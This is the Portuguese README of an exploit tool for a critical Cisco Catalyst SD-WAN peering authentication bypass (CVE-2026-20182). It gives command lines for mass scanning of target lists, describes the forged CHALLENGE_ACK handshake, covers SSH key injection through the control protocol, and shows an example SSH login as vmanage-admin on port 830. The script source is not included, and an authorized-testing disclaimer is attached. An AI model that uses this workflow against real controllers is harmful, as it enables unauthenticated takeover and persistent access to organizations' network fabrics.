
Bypass de Autenticação de Peering do Cisco Catalyst SD-WAN
Bypass de Autenticação de Peering do Cisco Catalyst SD-WAN
Ferramenta de avaliação para testes autorizados do bypass de autenticação de peering do Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Severidade | Crítica (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Produto | Cisco Catalyst SD-WAN Controller (anteriormente vSmart) · Cisco Catalyst SD-WAN Manager (anteriormente vManage) |
| Problema | Mecanismo de autenticação de peering não aplicado corretamente |
| Script | CVE-2026-20182.py |
Aviso de maio de 2026: Uma falha no handshake de conexão de controle / autenticação de peering permite que um atacante remoto não autenticado bypass a autenticação e obtenha acesso interno de alto privilégio em sistemas afetados.
Um atacante envia requisições maliciosas para o sistema afetado. Em caso de sucesso, o atacante pode autenticar como uma conta interna, de alto privilégio, não-root e alcançar NETCONF, permitindo a manipulação da configuração da malha SD-WAN.
Recomendação: Aplique as correções de segurança da Cisco conforme orientação oficial do fornecedor. Restrinja a exposição do plano de gerenciamento, monitore conexões do plano de controle e audite controladores SD-WAN para alterações não autorizadas na configuração.
Telegram: @KNxploited
CVE-2026-20182.pyFramework de exploração em Python 3 para CVE-2026-20182 contra o vdaemon do Cisco SD-WAN (UDP/DTLS 12346).
Fallback de malha: Em TEAR_DOWN ou incompatibilidade de parâmetros, tenta presets alternativos de domínio/site (1,100), (1,1), (0,0) a menos que --no-fallback.
Importante
check → nível 03 no máximo (sonda de bypass). Não é prova de exploração completa.full → objetivo é nível 01 (ssh_verified).https://host na lista → apenas dica web TCP (80/443). Não é UDP DTLS na 443.pip install -r requirements.txt
Windows
bin\ ao PATH, ou defina:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
A ferramenta sai na inicialização se o OpenSSL não puder ser carregado.
python CVE-2026-20182.py
0 = INICIAR VARREDURAcheck (sonda de bypass segura)python CVE-2026-20182.py -y
CHECK — apenas sonda de bypass
python CVE-2026-20182.py -y --mode check
FULL — injetar chave + verificar SSH (apenas alvos autorizados)
python CVE-2026-20182.py -y --mode full
-f / --file — lista de alvos (padrão: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — threads workers (1–200, padrão 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID padrão quando não está na lista (padrão: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID padrão quando não está na lista (padrão: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — pular menu interativo; usar apenas valores da CLI
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — pular teste SSH pós-injeção (não recomendado no modo full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — também tentar TCP 22 após 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — apenas UDP 12346; ignorar :port da lista
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — laboratório: portas UDP extras em cada host
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — desabilitar re-tentativa de domínio/site em TEAR_DOWN
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — registrar cada mensagem TX/RX do protocolo
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y é omitido)targets.txtUm alvo por linha. Linhas começando com # são ignoradas.
Arquivo de exemplo
# Controladores de laboratório — apenas autorizados
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1
Não suportado: IPv6 (apenas IPv4 / hostname).
Exemplo de comando SSH (nível 01)
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24
Revise cisco_sdwan_03_bypass_only.jsonl e estatísticas ao vivo Apenas Bypass.
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8
Revise cisco_sdwan_01_confirmed_ssh.jsonl — único arquivo com ssh_verified: true.
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback
check — não escreve chaves nem prova SSH por si só.ssh_verified=true no modo full apenas.TEAR_DOWN após CHALLENGE_ACK; ative fallback de malha ou corrija domínio/site na lista.sdwan_keys/ ou resultados de varredura em repositórios públicos.Este software é apenas para pesquisa de segurança autorizada, avaliação defensiva e educação.
Você deve ter permissão explícita por escrito para testar qualquer sistema que não possua ou opere. Acesso não autorizado a sistemas de computador é ilegal. O autor não é responsável por uso indevido, danos ou consequências legais decorrentes do uso desta ferramenta.
Use apenas em sistemas e redes onde você está explicitamente autorizado a realizar testes de segurança.
Por: Nxploited ( Khaled Alenazi )
| Item | Detalhe |
|---|
| Vetor de ataque | Rede |
| Privilégios necessários | Nenhum |
| Interação do usuário | Nenhuma |
| Escopo | Alterado |
| Impacto | Confidencialidade, integridade e disponibilidade — Alto |
| Passo | Fase | Descrição |
|---|
| 1 | Carregar alvos | Analisa targets.txt, mescla duplicatas por (host, domain_id, site_id) |
| 2 | Preparação OpenSSL | Carrega bibliotecas compartilhadas OpenSSL 3.x/4.x para DTLS personalizado |
| 3 | Conexão DTLS | Conecta à porta UDP do alvo (sempre 12346 primeiro, depois portas opcionais da lista) |
| 4 | CHALLENGE | Recebe CHALLENGE (0x08) do servidor |
| 5 | CHALLENGE_ACK | Envia CHALLENGE_ACK malicioso como vHub (type 2) — bypass de autenticação |
| 6 | Hello | Completa a troca Hello — confirma o caminho de bypass |
| 7a | Modo CHECK | Para aqui — registra bypass / Hello OK apenas (sem chaves, sem SSH) |
| 7b | Modo FULL | Injeta chave pública SSH via VMANAGE_TO_PEER |
| 8 | ACK de injeção | Aguarda REGISTER_TO_VMANAGE (0x0D) como confirmação do protocolo |
| 9 | Verificação SSH | Testa login como vmanage-admin na porta TCP 830 (NETCONF), opcionalmente 22 |
| 10 | Saída | Classifica resultados em arquivos de nível + lista de comandos legível |
| Nível | Arquivo | Significado |
|---|
| 01 — SSH Confirmado | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — único nível tratado como prova de comprometimento total |
| 02 — Apenas ACK de Injeção | cisco_sdwan_02_inject_ack_only.jsonl | Protocolo aceitou injeção de chave; falha no login SSH |
| 03 — Apenas Bypass | cisco_sdwan_03_bypass_only.jsonl | Hello/bypass OK; injeção não confirmada |
| Requisito | Observações |
|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | Bibliotecas compartilhadas 3.x ou 4.x (libssl + libcrypto) — obrigatório |
| Modo | Flag | Injeção SSH | Verificação SSH | Use quando |
|---|
| CHECK | --mode check (padrão) | Não | Não | Triagem em massa, detecção de bypass |
| FULL | --mode full | Sim | Sim (a menos que --no-ssh-verify) | Prova de comprometimento |
| # | Opção |
|---|
| 1 | Arquivo de alvos |
| 2 | Threads workers |
| 3 | DOMAIN_ID padrão |
| 4 | SITE_ID padrão |
| 5 | Modo: check / full |
| 6 | Re-tentativa automática de malha em TEAR_DOWN |
| 7 | Log verboso do protocolo |
| 8 | Verificação SSH após injeção |
| 9 | Verificar também SSH :22 |
| 10 | Tentar portas UDP explícitas da lista |
| 11 | Portas UDP extras (laboratório) |
| 12 | Mostrar ajuda de formato da lista |
| 0 | ▶ INICIAR VARREDURA |
| Formato | Exemplo | Comportamento |
|---|
| IP / hostname | 10.0.0.1 | UDP 12346 + domínio/site padrão |
| IP + porta UDP | 10.0.0.2:12346 | Também tentar porta UDP da lista |
| IP + porta + domínio + site | 10.0.0.3:12346:1:100 | Tupla completa de malha |
| URL HTTPS | https://10.0.0.4 | Host + apenas dica TCP 443 (não UDP/443) |
| URL HTTP | http://10.0.0.5 | Apenas dica TCP 80 |
| URL UDP | udp://10.0.0.6:12346 | UDP explícito |
| Separado por tab/vírgula | 10.0.0.7 12346 1 100 | Mesmo que formulário de quatro campos |
| Chave=valor | 10.0.0.8;port=12346;domain=1;site=100 | Sintaxe KV com ponto e vírgula |
| Arquivo | Conteúdo |
|---|
cisco_sdwan_results.jsonl | Resultado JSON bruto por tentativa |
cisco_sdwan_success.txt | Linhas SSH confirmadas (separadas por tab) |
cisco_sdwan_01_confirmed_ssh.jsonl | Nível 01 — SSH verificado |
cisco_sdwan_02_inject_ack_only.jsonl | Nível 02 — ACK de injeção, SSH falhou |
cisco_sdwan_03_bypass_only.jsonl | Nível 03 — apenas bypass / Hello |
cisco_sdwan_commands.txt | Comandos SSH legíveis |
cisco_sdwan_findings.json | Resumo da sessão + contagens |
sdwan_keys/ | Chaves privadas geradas (modo full) |
| Contador | Significado |
|---|
| Progresso | Alvos concluídos / total |
| SSH verificado | Contagem do nível 01 |
| ACK de injeção | Contagem do nível 02 |
| Apenas bypass | Contagem do nível 03 |
| Falhou | Erros / sem bypass |